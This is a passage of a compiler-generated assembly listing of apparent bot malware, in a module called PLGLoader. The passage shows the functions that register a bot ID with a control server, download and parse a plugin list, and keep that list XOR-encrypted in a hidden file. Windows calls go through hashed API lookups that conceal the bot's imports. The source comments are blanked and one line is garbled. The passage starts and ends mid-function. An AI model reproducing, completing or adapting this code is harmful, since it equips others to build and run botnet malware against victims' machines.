; 111  : 
; 112  : 		// 
; 113  : 
; 114  : 		TFileHeader H;
; 115  : 
; 116  : 		H.Signature  = PLUGINS_LIST_FILE_SIGNATURE;
  00007	c7 45 e8 45 a9
	c5 f3		 mov	 DWORD PTR _H$[ebp], -205149883 ; f3c5a945H
; 117  : 		H.Version    = PLUGINS_LIST_FILE_VERSION;
  0000e	c7 45 ec 01 00
	00 00		 mov	 DWORD PTR _H$[ebp+4], 1
; 118  : 		H.UpdateTime = (DWORD)pGetTickCount();
  00015	e8 00 00 00 00	 call	 ??$pushargEx@$00$0GJCGABFC@$0GN@@@YAPAXXZ ; pushargEx<1,1764098386,109>
; 119  : 		H.HostHash   = CalcHash(Host);
  0001a	33 f6		 xor	 esi, esi
  0001c	56		 push	 esi
  0001d	56		 push	 esi
  0001e	ff 75 10	 push	 DWORD PTR _Host$[ebp]
  00021	89 45 f0	 mov	 DWORD PTR _H$[ebp+8], eax
  00024	e8 00 00 00 00	 call	 ?GetHash@STR@@YAKPADK_N@Z ; STR::GetHash
; 120  : 		H.DataSize   = STR::Length(Buf);
  00029	ff 75 0c	 push	 DWORD PTR _Buf$[ebp]
  0002c	89 45 f4	 mov	 DWORD PTR _H$[ebp+12], eax
  0002f	e8 00 00 00 00	 call	 ?Length@STR@@YAKPAD@Z	; STR::Length
  00034	89 45 f8	 mov	 DWORD PTR _H$[ebp+16], eax
; 121  : 
; 122  : 		pWriteFile(File, &H, sizeof(H), &Writed, NULL);
  00037	56		 push	 esi
  00038	8d 45 fc	 lea	 eax, DWORD PTR _Writed$[ebp]
  0003b	50		 push	 eax
  0003c	6a 14		 push	 20			; 00000014H
  0003e	8d 45 e8	 lea	 eax, DWORD PTR _H$[ebp]
  00041	50		 push	 eax
  00042	ff 75 08	 push	 DWORD PTR _File$[ebp]
  00045	e8 00 00 00 00	 call	 ??$pushargEx@$00$0PDPNBMD@$0BG@PAXPAUTFileHeader@PLGLoader@@IPAKH@@YAPAXPAXPAUTFileHeader@PLGLoader@@IPAKH@Z ; pushargEx<1,255840707,22,void *,PLGLoader::TFileHeader *,unsigned int,unsigned long *,int>
  0004a	83 c4 24	 add	 esp, 36			; 00000024H
; 123  : 
; 124  : 		if (H.DataSize == 0)
  0004d	39 75 f8	 cmp	 DWORD PTR _H$[ebp+16], esi
  00050	74 26		 je	 SHORT $LN2@DoWriteBuf
; 125  : 			return;
; 126  : 
; 127  : 		// 
; 128  :         XORCrypt::Crypt((PCHAR)PluginListPassword, (LPBYTE)Buf, H.DataSize);
  00052	ff 75 f8	 push	 DWORD PTR _H$[ebp+16]
  00055	ff 75 0c	 push	 DWORD PTR _Buf$[ebp]
  00058	68 00 00 00 00	 push	 OFFSET _PluginListPassword
  0005d	e8 00 00 00 00	 call	 ?Crypt@XORCrypt@@YAKPADPAEK@Z ; XORCrypt::Crypt
; 129  : 
; 130  :         // 
; 131  : 		pWriteFile(File, Buf, H.DataSize, &Writed, NULL);
  00062	56		 push	 esi
  00063	8d 45 fc	 lea	 eax, DWORD PTR _Writed$[ebp]
  00066	50		 push	 eax
  00067	ff 75 f8	 push	 DWORD PTR _H$[ebp+16]
  0006a	ff 75 0c	 push	 DWORD PTR _Buf$[ebp]
  0006d	ff 75 08	 push	 DWORD PTR _File$[ebp]
  00070	e8 00 00 00 00	 call	 ??$pushargEx@$00$0PDPNBMD@$0BG@PAXPADKPAKH@@YAPAXPAXPADKPAKH@Z ; pushargEx<1,255840707,22,void *,char *,unsigned long,unsigned long *,int>
  00075	83 c4 20	 add	 esp, 32			; 00000020H
$LN2@DoWriteBuf:
  00078	5e		 pop	 esi
; 132  : 	}
  00079	c9		 leave
  0007a	c3		 ret	 0
?DoWriteBufferToFile@PLGLoader@@YAXPAXPAD1@Z ENDP	; PLGLoader::DoWriteBufferToFile
_TEXT	ENDS
PUBLIC	?ReadListFromFile@PLGLoader@@YAPADPAD@Z		; PLGLoader::ReadListFromFile
EXTRN	?New@STR@@YAPADPADK@Z:PROC			; STR::New
EXTRN	?MemFree@@YAXPAX@Z:PROC				; MemFree
EXTRN	?ReadToBufferA@File@@YAPAEPBDAAK@Z:PROC		; File::ReadToBufferA
; Function compile flags: /Ogspy
;	COMDAT ?ReadListFromFile@PLGLoader@@YAPADPAD@Z
_TEXT	SEGMENT
_Size$ = -4						; size = 4
_FileName$ = 8						; size = 4
?ReadListFromFile@PLGLoader@@YAPADPAD@Z PROC		; PLGLoader::ReadListFromFile, COMDAT
; 181  : 	{
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	51		 push	 ecx
; 182  : 		// 
; 183  : 
; 184  : 		DWORD Size = 0;
  00004	83 65 fc 00	 and	 DWORD PTR _Size$[ebp], 0
  00008	56		 push	 esi
; 185  : 		LPBYTE Buf = File::ReadToBufferA(FileName, Size);
  00009	8d 45 fc	 lea	 eax, DWORD PTR _Size$[ebp]
  0000c	50		 push	 eax
  0000d	ff 75 08	 push	 DWORD PTR _FileName$[ebp]
  00010	e8 00 00 00 00	 call	 ?ReadToBufferA@File@@YAPAEPBDAAK@Z ; File::ReadToBufferA
  00015	8b f0		 mov	 esi, eax
  00017	59		 pop	 ecx
  00018	59		 pop	 ecx
; 186  : 		if (Buf == NULL)
  00019	85 f6		 test	 esi, esi
  0001b	75 04		 jne	 SHORT $LN3@ReadListFr
$LN6@ReadListFr:
; 187  : 			return NULL;
  0001d	33 c0		 xor	 eax, eax
  0001f	eb 53		 jmp	 SHORT $LN4@ReadListFr
$LN3@ReadListFr:
; 188  : 		if (Size < sizeof(TFileHeader))
  00021	8b 4d fc	 mov	 ecx, DWORD PTR _Size$[ebp]
  00024	83 f9 14	 cmp	 ecx, 20			; 00000014H
  00027	73 09		 jae	 SHORT $LN2@ReadListFr
; 189  : 		{
; 190  : 			MemFree(Buf);
  00029	56		 push	 esi
  0002a	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
$LN7@ReadListFr:
  0002f	59		 pop	 ecx
; 191  : 			return NULL;
  00030	eb eb		 jmp	 SHORT $LN6@ReadListFr
$LN2@ReadListFr:
; 192  :         }
; 193  : 
; 194  : 		// 
; 195  : 		PFileHeader H = (PFileHeader)Buf;
; 196  : 
; 197  : 		if (H->DataSize > (Size - sizeof(TFileHeader)))
  00032	8b 46 10	 mov	 eax, DWORD PTR [esi+16]
  00035	83 c1 ec	 add	 ecx, -20		; ffffffecH
  00038	3b c1		 cmp	 eax, ecx
  0003a	76 11		 jbe	 SHORT $LN1@ReadListFr
; 198  : 		{
; 199  : 			// 
; 200  : 			MemFree(Buf);
  0003c	56		 push	 esi
  0003d	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
; 201  :             pDeleteFileA(FileName);
  00042	ff 75 08	 push	 DWORD PTR _FileName$[ebp]
  00045	e8 00 00 00 00	 call	 ??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z ; pushargEx<1,2180051167,35,char *>
  0004a	59		 pop	 ecx
; 202  : 			return NULL;
  0004b	eb e2		 jmp	 SHORT $LN7@ReadListFr
$LN1@ReadListFr:
  0004d	57		 push	 edi
; 203  :         }
; 204  : 
; 205  : 		// 
; 206  : 		LPBYTE Temp = Buf + sizeof(TFileHeader);
; 207  :         XORCrypt::Crypt((PCHAR)PluginListPassword, Temp, H->DataSize);
  0004e	50		 push	 eax
  0004f	8d 7e 14	 lea	 edi, DWORD PTR [esi+20]
  00052	57		 push	 edi
  00053	68 00 00 00 00	 push	 OFFSET _PluginListPassword
  00058	e8 00 00 00 00	 call	 ?Crypt@XORCrypt@@YAKPADPAEK@Z ; XORCrypt::Crypt
; 208  : 
; 209  : 		PCHAR Str = STR::New((PCHAR)Temp, H->DataSize);
  0005d	ff 76 10	 push	 DWORD PTR [esi+16]
  00060	57		 push	 edi
  00061	e8 00 00 00 00	 call	 ?New@STR@@YAPADPADK@Z	; STR::New
; 210  : 		MemFree(Buf);
  00066	56		 push	 esi
  00067	8b f8		 mov	 edi, eax
  00069	e8 00 00 00 00	 call	 ?MemFree@@YAXPAX@Z	; MemFree
  0006e	83 c4 18	 add	 esp, 24			; 00000018H
; 211  : 
; 212  : 		return Str;
  00071	8b c7		 mov	 eax, edi
  00073	5f		 pop	 edi
$LN4@ReadListFr:
  00074	5e		 pop	 esi
; 213  : 
; 214  : 	}
  00075	c9		 leave
  00076	c3		 ret	 0
?ReadListFromFile@PLGLoader@@YAPADPAD@Z ENDP		; PLGLoader::ReadListFromFile
_TEXT	ENDS
PUBLIC	??_C@_04FMMHFHOO@?$AN?6?$AN?6?$AA@		; `string'
PUBLIC	?ExtractPluginURL@PLGLoader@@YAPADPAD0@Z	; PLGLoader::ExtractPluginURL
EXTRN	?Pos@STR@@YAHPBD0K_N@Z:PROC			; STR::Pos
;	COMDAT ??_C@_04FMMHFHOO@?$AN?6?$AN?6?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_04FMMHFHOO@?$AN?6?$AN?6?$AA@ DB 0dH, 0aH, 0dH, 0aH, 00H ; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\plugins.cpp
CONST	ENDS
;	COMDAT ?ExtractPluginURL@PLGLoader@@YAPADPAD0@Z
_TEXT	SEGMENT
_PluginName$ = 8					; size = 4
_Buf$ = 12						; size = 4
?ExtractPluginURL@PLGLoader@@YAPADPAD0@Z PROC		; PLGLoader::ExtractPluginURL, COMDAT
; 218  : 	{
  00000	56		 push	 esi
; 219  : 		// 
; 220  : 		if (Buf == NULL)
  00001	8b 74 24 0c	 mov	 esi, DWORD PTR _Buf$[esp]
  00005	85 f6		 test	 esi, esi
  00007	75 04		 jne	 SHORT $LN7@ExtractPlu
$LN19@ExtractPlu:
; 221  : 			return NULL;
  00009	33 c0		 xor	 eax, eax
  0000b	5e		 pop	 esi
; 251  : 	}
  0000c	c3		 ret	 0
$LN7@ExtractPlu:
; 222  : 
; 223  : 		// 
; 224  : 		// 
 <name>|md5
; 225  : 		// 
; 226  : 		int DoubleEmptyStringPos = STR::Pos(Buf, "\r\n\r\n", 0);
  0000d	6a 01		 push	 1
  0000f	6a 00		 push	 0
  00011	68 00 00 00 00	 push	 OFFSET ??_C@_04FMMHFHOO@?$AN?6?$AN?6?$AA@
  00016	56		 push	 esi
  00017	e8 00 00 00 00	 call	 ?Pos@STR@@YAHPBD0K_N@Z	; STR::Pos
  0001c	83 c4 10	 add	 esp, 16			; 00000010H
; 227  : 		if (DoubleEmptyStringPos > 0)
  0001f	85 c0		 test	 eax, eax
  00021	7e 04		 jle	 SHORT $LN6@ExtractPlu
; 228  : 		{
; 229  : 			PDBG("ExtractPluginURL", "New format of list detected. Move pointer to new list begin.");
; 230  : 			Buf += (DoubleEmptyStringPos + 4);
  00023	8d 74 06 04	 lea	 esi, DWORD PTR [esi+eax+4]
$LN6@ExtractPlu:
; 231  : 		}
; 232  : 
; 233  : 		// 
; 234  : 		int Pos = STR::Pos(Buf, PluginName, 0);
  00027	6a 01		 push	 1
  00029	6a 00		 push	 0
  0002b	ff 74 24 10	 push	 DWORD PTR _PluginName$[esp+8]
  0002f	56		 push	 esi
  00030	e8 00 00 00 00	 call	 ?Pos@STR@@YAHPBD0K_N@Z	; STR::Pos
  00035	83 c4 10	 add	 esp, 16			; 00000010H
; 235  : 		if (Pos < 0)
  00038	85 c0		 test	 eax, eax
; 236  : 			return NULL; // 
  0003a	7c cd		 jl	 SHORT $LN19@ExtractPlu
; 237  : 
; 238  : 		// 
; 239  : 		PCHAR Start = Buf + Pos;
  0003c	03 c6		 add	 eax, esi
  0003e	eb 01		 jmp	 SHORT $LN16@ExtractPlu
$LL4@ExtractPlu:
; 240  : 		PCHAR End = Start;
; 241  : 		while (*End != '|') End++;
  00040	40		 inc	 eax
$LN16@ExtractPlu:
  00041	80 38 7c	 cmp	 BYTE PTR [eax], 124	; 0000007cH
  00044	75 fa		 jne	 SHORT $LL4@ExtractPlu
; 242  : 		End++;
  00046	40		 inc	 eax
; 243  : 
; 244  : 		Start = End;
  00047	8b d0		 mov	 edx, eax
; 245  : 
; 246  : 		// 
; 247  : 		while (*End != 0 && *End != 10 && *End != 13) End++;
  00049	eb 0b		 jmp	 SHORT $LN18@ExtractPlu
$LL2@ExtractPlu:
  0004b	80 f9 0a	 cmp	 cl, 10			; 0000000aH
  0004e	74 0c		 je	 SHORT $LN1@ExtractPlu
  00050	80 f9 0d	 cmp	 cl, 13			; 0000000dH
  00053	74 07		 je	 SHORT $LN1@ExtractPlu
  00055	40		 inc	 eax
$LN18@ExtractPlu:
  00056	8a 08		 mov	 cl, BYTE PTR [eax]
  00058	84 c9		 test	 cl, cl
  0005a	75 ef		 jne	 SHORT $LL2@ExtractPlu
$LN1@ExtractPlu:
; 248  : 
; 249  : 		// 
; 250  : 		return STR::New(Start, End - Start);
  0005c	2b c2		 sub	 eax, edx
  0005e	50		 push	 eax
  0005f	52		 push	 edx
  00060	e8 00 00 00 00	 call	 ?New@STR@@YAPADPADK@Z	; STR::New
  00065	59		 pop	 ecx
  00066	59		 pop	 ecx
  00067	5e		 pop	 esi
; 251  : 	}
  00068	c3		 ret	 0
?ExtractPluginURL@PLGLoader@@YAPADPAD0@Z ENDP		; PLGLoader::ExtractPluginURL
_TEXT	ENDS
PUBLIC	??_C@_06JBDMIIGP@botuid?$AA@			; `string'
PUBLIC	?DownloadPluginList@Plugin@@YAPADPAD@Z		; Plugin::DownloadPluginList
EXTRN	?Clear@HTTPResponse@@YAXPAUTHTTPResponseRec@@@Z:PROC ; HTTPResponse::Clear
EXTRN	?Free2@STR@@YAXAAPAD@Z:PROC			; STR::Free2
EXTRN	?Free@Strings@@YAXPAX@Z:PROC			; Strings::Free
EXTRN	?Free@STR@@YAXPAD@Z:PROC			; STR::Free
EXTRN	?Post@CryptHTTP@@YA_NPAD0PAXPAPADPAUTHTTPResponseRec@@_N@Z:PROC ; CryptHTTP::Post
EXTRN	?GetMainPassword@@YAPADXZ:PROC			; GetMainPassword
EXTRN	?AddURLParam@@YAXPAXPAD1K@Z:PROC		; AddURLParam
EXTRN	?Create@Strings@@YAPAXXZ:PROC			; Strings::Create
EXTRN	?GenerateBotID@@YAPADXZ:PROC			; GenerateBotID
EXTRN	?GetBotScriptURL@@YAPADKPAD_N@Z:PROC		; GetBotScriptURL
;	COMDAT ??_C@_06JBDMIIGP@botuid?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_06JBDMIIGP@botuid?$AA@ DB 'botuid', 00H		; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\plugins.cpp
CONST	ENDS
;	COMDAT ?DownloadPluginList@Plugin@@YAPADPAD@Z
_TEXT	SEGMENT
_Response$ = -64					; size = 52
_BotID$ = -12						; size = 4
_Result$ = -8						; size = 4
_FreeURL$ = -1						; size = 1
_URL$ = 8						; size = 4
?DownloadPluginList@Plugin@@YAPADPAD@Z PROC		; Plugin::DownloadPluginList, COMDAT
; 377  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 40	 sub	 esp, 64			; 00000040H
  00006	53		 push	 ebx
; 378  : 	// 
; 379  : 
; 380  : 	bool FreeURL = false;
  00007	33 db		 xor	 ebx, ebx
  00009	88 5d ff	 mov	 BYTE PTR _FreeURL$[ebp], bl
; 381  : 	if (URL == NULL)
  0000c	39 5d 08	 cmp	 DWORD PTR _URL$[ebp], ebx
  0000f	75 1f		 jne	 SHORT $LN3@DownloadPl
; 382  : 	{
; 383  : 		FreeURL = true;
; 384  : 		URL = GetBotScriptURL(SCRIPT_PLUGINS_LIST);
  00011	6a 01		 push	 1
  00013	53		 push	 ebx
  00014	6a 0a		 push	 10			; 0000000aH
  00016	c6 45 ff 01	 mov	 BYTE PTR _FreeURL$[ebp], 1
  0001a	e8 00 00 00 00	 call	 ?GetBotScriptURL@@YAPADKPAD_N@Z ; GetBotScriptURL
  0001f	83 c4 0c	 add	 esp, 12			; 0000000cH
  00022	89 45 08	 mov	 DWORD PTR _URL$[ebp], eax
; 385  : 	}
; 386  : 	if (URL == NULL) return NULL;
  00025	3b c3		 cmp	 eax, ebx
  00027	75 07		 jne	 SHORT $LN3@DownloadPl
  00029	33 c0		 xor	 eax, eax
  0002b	e9 92 00 00 00	 jmp	 $LN5@DownloadPl
$LN3@DownloadPl:
  00030	56		 push	 esi
  00031	57		 push	 edi
; 387  : 
; 388  :     // 
; 389  : 	PCHAR Result = NULL;
  00032	89 5d f8	 mov	 DWORD PTR _Result$[ebp], ebx
; 390  : 	PCHAR BotID = GenerateBotID();
  00035	e8 00 00 00 00	 call	 ?GenerateBotID@@YAPADXZ	; GenerateBotID
  0003a	89 45 f4	 mov	 DWORD PTR _BotID$[ebp], eax
; 391  : 
; 392  : 	PStrings Fields = Strings::Create();
  0003d	e8 00 00 00 00	 call	 ?Create@Strings@@YAPAXXZ ; Strings::Create
; 393  : 	AddURLParam(Fields, "botuid", BotID);
  00042	53		 push	 ebx
  00043	ff 75 f4	 push	 DWORD PTR _BotID$[ebp]
  00046	8b f0		 mov	 esi, eax
  00048	68 00 00 00 00	 push	 OFFSET ??_C@_06JBDMIIGP@botuid?$AA@
  0004d	56		 push	 esi
  0004e	e8 00 00 00 00	 call	 ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam
; 394  : 
; 395  : 	THTTPResponseRec Response;
; 396  :     ClearStruct(Response);
  00053	6a 34		 push	 52			; 00000034H
  00055	8d 45 c0	 lea	 eax, DWORD PTR _Response$[ebp]
  00058	53		 push	 ebx
  00059	50		 push	 eax
  0005a	e8 00 00 00 00	 call	 ?m_memset@@YAXPBXEI@Z	; m_memset
; 397  : 
; 398  : 	#ifdef CryptHTTPH
; 399  : 		PCHAR Password = GetMainPassword();
  0005f	e8 00 00 00 00	 call	 ?GetMainPassword@@YAPADXZ ; GetMainPassword
  00064	8b f8		 mov	 edi, eax
; 400  : 		CryptHTTP::Post(URL, Password, Fields, &Result, &Response);
  00066	53		 push	 ebx
  00067	8d 45 c0	 lea	 eax, DWORD PTR _Response$[ebp]
  0006a	50		 push	 eax
  0006b	8d 45 f8	 lea	 eax, DWORD PTR _Result$[ebp]
  0006e	50		 push	 eax
  0006f	56		 push	 esi
  00070	57		 push	 edi
  00071	ff 75 08	 push	 DWORD PTR _URL$[ebp]
  00074	e8 00 00 00 00	 call	 ?Post@CryptHTTP@@YA_NPAD0PAXPAPADPAUTHTTPResponseRec@@_N@Z ; CryptHTTP::Post
; 401  : 		STR::Free(Password);
  00079	57		 push	 edi
  0007a	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  0007f	83 c4 38	 add	 esp, 56			; 00000038H
; 402  : 	#else
; 403  : 		HTTP::Post(URL, Fields, &Result, NULL);
; 404  : 	#endif
; 405  : 
; 406  :     // 
; 407  : 	if (FreeURL) STR::Free(URL);
  00082	38 5d ff	 cmp	 BYTE PTR _FreeURL$[ebp], bl
  00085	74 09		 je	 SHORT $LN2@DownloadPl
  00087	ff 75 08	 push	 DWORD PTR _URL$[ebp]
  0008a	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
  0008f	59		 pop	 ecx
$LN2@DownloadPl:
; 408  : 	STR::Free(BotID);
  00090	ff 75 f4	 push	 DWORD PTR _BotID$[ebp]
  00093	e8 00 00 00 00	 call	 ?Free@STR@@YAXPAD@Z	; STR::Free
; 409  : 	Strings::Free(Fields);
  00098	56		 push	 esi
  00099	e8 00 00 00 00	 call	 ?Free@Strings@@YAXPAX@Z	; Strings::Free
; 410  : 
; 411  : 	if (Response.Code != 200)
  0009e	81 7d c4 c8 00
	00 00		 cmp	 DWORD PTR _Response$[ebp+4], 200 ; 000000c8H
  000a5	59		 pop	 ecx
  000a6	59		 pop	 ecx
  000a7	5f		 pop	 edi
  000a8	5e		 pop	 esi
  000a9	74 0a		 je	 SHORT $LN1@DownloadPl
; 412  : 		STR::Free2(Result);
  000ab	8d 45 f8	 lea	 eax, DWORD PTR _Result$[ebp]
  000ae	50		 push	 eax
  000af	e8 00 00 00 00	 call	 ?Free2@STR@@YAXAAPAD@Z	; STR::Free2
  000b4	59		 pop	 ecx
$LN1@DownloadPl:
; 413  : 
; 414  :     HTTPResponse::Clear(&Response);
  000b5	8d 45 c0	 lea	 eax, DWORD PTR _Response$[ebp]
  000b8	50		 push	 eax
  000b9	e8 00 00 00 00	 call	 ?Clear@HTTPResponse@@YAXPAUTHTTPResponseRec@@@Z ; HTTPResponse::Clear
; 415  : 
; 416  : 
; 417  :     PDBG("Plugins", "
: \r\n: [%s]", Result);
; 418  : 
; 419  : 	return Result;
  000be	8b 45 f8	 mov	 eax, DWORD PTR _Result$[ebp]
  000c1	59		 pop	 ecx
$LN5@DownloadPl:
  000c2	5b		 pop	 ebx
; 420  : }
  000c3	c9		 leave
  000c4	c3		 ret	 0
?DownloadPluginList@Plugin@@YAPADPAD@Z ENDP		; Plugin::DownloadPluginList
_TEXT	ENDS
PUBLIC	?IsEmpty@?$TString@D@@QBE_NXZ			; TString<char>::IsEmpty
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
;	COMDAT ?IsEmpty@?$TString@D@@QBE_NXZ
_TEXT	SEGMENT
?IsEmpty@?$TString@D@@QBE_NXZ PROC			; TString<char>::IsEmpty, COMDAT
; _this$ = ecx
; 695  : 	return STRUTILS<TChar>::IsEmpty(Data);
  00000	ff 71 04	 push	 DWORD PTR [ecx+4]
  00003	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  00008	59		 pop	 ecx
; 696  : }
  00009	c3		 ret	 0
?IsEmpty@?$TString@D@@QBE_NXZ ENDP			; TString<char>::IsEmpty
_TEXT	ENDS
PUBLIC	??$AddRef@D@STRBUF@@YAPADPAD@Z			; STRBUF::AddRef<char>
; Function compile flags: /Ogspy
;	COMDAT ??$AddRef@D@STRBUF@@YAPADPAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$AddRef@D@STRBUF@@YAPADPAD@Z PROC			; STRBUF::AddRef<char>, COMDAT
; 417  : 	// 
; 418  : 	if (Str)
  00000	8b 44 24 04	 mov	 eax, DWORD PTR _Str$[esp-4]
  00004	85 c0		 test	 eax, eax
  00006	74 03		 je	 SHORT $LN1@AddRef
; 419  : 		GetRec(Str).RefCount++;
  00008	ff 40 fc	 inc	 DWORD PTR [eax-4]
$LN1@AddRef:
; 420  : 	return Str;
; 421  : }
  0000b	c3		 ret	 0
??$AddRef@D@STRBUF@@YAPADPAD@Z ENDP			; STRBUF::AddRef<char>
_TEXT	ENDS
PUBLIC	??$Release@D@STRBUF@@YAXAAPAD@Z			; STRBUF::Release<char>
EXTRN	?Free@HEAP@@YAXPAX@Z:PROC			; HEAP::Free
; Function compile flags: /Ogspy
;	COMDAT ??$Release@D@STRBUF@@YAXAAPAD@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
??$Release@D@STRBUF@@YAXAAPAD@Z PROC			; STRBUF::Release<char>, COMDAT
; 401  : {
  00000	56		 push	 esi
; 402  : 	// 
; 403  : 	if (Str)
  00001	8b 74 24 08	 mov	 esi, DWORD PTR _Str$[esp]
  00005	8b 06		 mov	 eax, DWORD PTR [esi]
  00007	85 c0		 test	 eax, eax
  00009	74 12		 je	 SHORT $LN2@Release
; 404  : 	{
; 405  : 		TStrRec &R = GetRec(Str);
  0000b	83 c0 f4	 add	 eax, -12		; fffffff4H
; 406  : 		R.RefCount--;
  0000e	ff 48 08	 dec	 DWORD PTR [eax+8]
; 407  : 		if (R.RefCount == 0)
  00011	75 07		 jne	 SHORT $LN1@Release
; 408  :             HEAP::Free(&R);
  00013	50		 push	 eax
  00014	e8 00 00 00 00	 call	 ?Free@HEAP@@YAXPAX@Z	; HEAP::Free
  00019	59		 pop	 ecx
$LN1@Release:
; 409  :         Str = NULL;
  0001a	83 26 00	 and	 DWORD PTR [esi], 0
$LN2@Release:
  0001d	5e		 pop	 esi
; 410  :     }
; 411  : }
  0001e	c3		 ret	 0
??$Release@D@STRBUF@@YAXAAPAD@Z ENDP			; STRBUF::Release<char>
_TEXT	ENDS
PUBLIC	??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z		; STRBUF::CreateFromStr<char>
; Function compile flags: /Ogspy
;	COMDAT ??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z
_TEXT	SEGMENT
_Str$ = 8						; size = 4
_StrLen$ = 12						; size = 4
_ResultStrSize$ = 16					; size = 4
??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z PROC		; STRBUF::CreateFromStr<char>, COMDAT
; 457  : {
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
; 458  : 	// 
; 459  : 	if (STRUTILS<TChar>::IsEmpty(Str))
  00003	ff 75 08	 push	 DWORD PTR _Str$[ebp]
  00006	e8 00 00 00 00	 call	 ?IsEmpty@?$STRUTILS@D@@SA_NPBD@Z ; STRUTILS<char>::IsEmpty
  0000b	59		 pop	 ecx
  0000c	84 c0		 test	 al, al
  0000e	74 04		 je	 SHORT $LN3@CreateFrom
; 460  : 		return NULL;
  00010	33 c0		 xor	 eax, eax
; 474  : }
  00012	5d		 pop	 ebp
  00013	c3		 ret	 0
$LN3@CreateFrom:
  00014	56		 push	 esi
  00015	57		 push	 edi
; 461  : 
; 462  : 	if (StrLen == 0)
  00016	8b 7d 0c	 mov	 edi, DWORD PTR _StrLen$[ebp]
  00019	85 ff		 test	 edi, edi
  0001b	75 0b		 jne	 SHORT $LN2@CreateFrom
; 463  : 		StrLen = STRUTILS<TChar>::Length(Str);
  0001d	ff 75 08	 push	 DWORD PTR _Str$[ebp]
  00020	e8 00 00 00 00	 call	 ?Length@?$STRUTILS@D@@SAKPBD@Z ; STRUTILS<char>::Length
  00025	59		 pop	 ecx
  00026	8b f8		 mov	 edi, eax
$LN2@CreateFrom:
; 464  : 
; 465  :     DWORD ResSize = Max(StrLen, ResultStrSize);
  00028	8b 45 10	 mov	 eax, DWORD PTR _ResultStrSize$[ebp]
  0002b	3b f8		 cmp	 edi, eax
  0002d	76 02		 jbe	 SHORT $LN6@CreateFrom
  0002f	8b c7		 mov	 eax, edi
$LN6@CreateFrom:
; 466  : 	TChar* Result = Alloc<TChar>(ResSize);
  00031	50		 push	 eax
  00032	e8 00 00 00 00	 call	 ??$Alloc@D@STRBUF@@YAPADK@Z ; STRBUF::Alloc<char>
  00037	8b f0		 mov	 esi, eax
  00039	59		 pop	 ecx
; 467  : 	if (Result)
  0003a	85 f6		 test	 esi, esi
  0003c	74 10		 je	 SHORT $LN1@CreateFrom
; 468  : 	{
; 469  : 		// 
; 470  : 		m_memcpy(Result, Str, StrLen * sizeof(TChar));
  0003e	57		 push	 edi
  0003f	ff 75 08	 push	 DWORD PTR _Str$[ebp]
  00042	56		 push	 esi
  00043	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
  00048	83 c4 0c	 add	 esp, 12			; 0000000cH
; 471  : 		GetRec(Result).Length = StrLen;
  0004b	89 7e f8	 mov	 DWORD PTR [esi-8], edi
$LN1@CreateFrom:
  0004e	5f		 pop	 edi
; 472  : 	}
; 473  : 	return Result;
  0004f	8b c6		 mov	 eax, esi
  00051	5e		 pop	 esi
; 474  : }
  00052	5d		 pop	 ebp
  00053	c3		 ret	 0
??$CreateFromStr@D@STRBUF@@YAPADPBDKK@Z ENDP		; STRBUF::CreateFromStr<char>
_TEXT	ENDS
PUBLIC	?Compare@?$STRUTILS@D@@SAHPBD0@Z		; STRUTILS<char>::Compare
; Function compile flags: /Ogspy
;	COMDAT ?Compare@?$STRUTILS@D@@SAHPBD0@Z
_TEXT	SEGMENT
_Str1$ = 8						; size = 4
_Str2$ = 12						; size = 4
?Compare@?$STRUTILS@D@@SAHPBD0@Z PROC			; STRUTILS<char>::Compare, COMDAT
; 117  : 	return CompareEx(Str1, Str2, 0);
  00000	6a 00		 push	 0
  00002	ff 74 24 0c	 push	 DWORD PTR _Str2$[esp]
  00006	ff 74 24 0c	 push	 DWORD PTR _Str1$[esp+4]
  0000a	e8 00 00 00 00	 call	 ?CompareEx@?$STRUTILS@D@@SAHPBD0K@Z ; STRUTILS<char>::CompareEx
  0000f	83 c4 0c	 add	 esp, 12			; 0000000cH
; 118  : }
  00012	c3		 ret	 0
?Compare@?$STRUTILS@D@@SAHPBD0@Z ENDP			; STRUTILS<char>::Compare
_TEXT	ENDS
PUBLIC	?DownloadListInFile@PLGLoader@@YA_NPAD00@Z	; PLGLoader::DownloadListInFile
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\core\plugins.cpp
;	COMDAT ?DownloadListInFile@PLGLoader@@YA_NPAD00@Z
_TEXT	SEGMENT
_FileName$ = 8						; size = 4
_URL$ = 12						; size = 4
_Host$ = 16						; size = 4
?DownloadListInFile@PLGLoader@@YA_NPAD00@Z PROC		; PLGLoader::DownloadListInFile, COMDAT
; 136  : 	{
  00000	53		 push	 ebx
; 137  : 		// 
; 138  : 		// 
; 139  : 
; 140  : 		// 
; 141  : 		HANDLE File = (HANDLE)pCreateFileA(FileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,  FILE_ATTRIBUTE_HIDDEN, NULL);
  00001	6a 14		 push	 20			; 00000014H
  00003	68 14 f1 f8 08	 push	 150532372		; 08f8f114H
  00008	6a 01		 push	 1
  0000a	6a 00		 push	 0
